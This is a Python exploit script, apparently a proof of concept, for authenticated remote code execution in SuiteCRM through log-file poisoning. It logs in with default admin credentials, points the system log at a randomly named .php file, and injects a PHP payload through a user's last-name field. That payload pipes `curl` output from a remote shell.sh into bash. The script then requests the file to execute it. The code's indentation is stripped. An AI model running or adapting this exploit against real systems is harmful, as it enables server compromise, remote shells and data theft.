from requests import Session
from random import choice
from string import ascii_lowercase
url = "http://127.0.0.1/"
post_url = "{url}index.php".format(url=url)
user_name = "admin"
password = "admin"
prefix = 'shell-'
file_name = '{prefix}{rand}.php'.format(
prefix=prefix,
rand=''.join(choice(ascii_lowercase) for _ in range(6))
)
command = '<?php `curl -s http://127.0.0.1/shell.sh | bash`; ?>'.format(fname=file_name)
login_data = {
"module": "Users",
"action": "Authenticate",
"return_module": "Users",
"return_action": "Login",
"user_name": user_name,
"username_password": password,
"Login": "Log+In"
}
modify_system_settings_data = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, file_name),
"logger_file_ext": (None, ''),
"logger_level": (None, "info"),
"save": (None, "Save")
}
poison_log = {
"module": (None, "Users"),
"record": (None, "1"),
"action": (None, "Save"),
"page": (None, "EditView"),
"return_action": (None, "DetailView"),
"user_name": (None, user_name),
"last_name": (None, command),
}
restore_log = {
"action": (None, "SaveConfig"),
"module": (None, "Configurator"),
"logger_file_name": (None, "suitecrm"),
"logger_file_ext": (None, ".log"),
"logger_level": (None, "fatal"),
"save": (None, "Save")
}
with Session() as s:
s.get(post_url, params={'module': 'Users', 'action': 'Login'})
print('[+] Got initial PHPSESSID:', s.cookies.get_dict()['PHPSESSID'])
s.post(post_url, data=login_data)
if 'ck_login_id_20' not in s.cookies.get_dict().keys():
print('[-] Invalid password for: {user}'.format(user=user_name))
exit(1)
print('[+] Authenticated as: {user}. PHPSESSID: {cookie}'.format(
user=user_name,
cookie=s.cookies.get_dict()['PHPSESSID'])
)
print('[+] Modifying log level and log file name.')
print('[+] File name will be: {fname}'.format(fname=file_name))
settings_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(post_url, headers=settings_header, files=modify_system_settings_data)
print('[+] Poisoning log file with php code: {cmd}'.format(cmd=command))
command_header = {'Referer': '{url}?module=Configurator&action=EditView'.format(url=url)}
s.post(url, headers=command_header, files=poison_log)
print('[+] Executing code. Sending GET request to: {url}{fname}'.format(url=url, fname=file_name))
execute_command = s.get('{url}/{fname}'.format(url=url, fname=file_name), timeout=1)
if not execute_command.ok:
print('[-] Exploit failed, sorry... Might have to do some modifications.')
print('[+] Setting log back to defaults')
s.post(post_url, headers=settings_header, files=restore_log)
print('[+] Done. Clean up {fname} if you care...'.format(fname=file_name))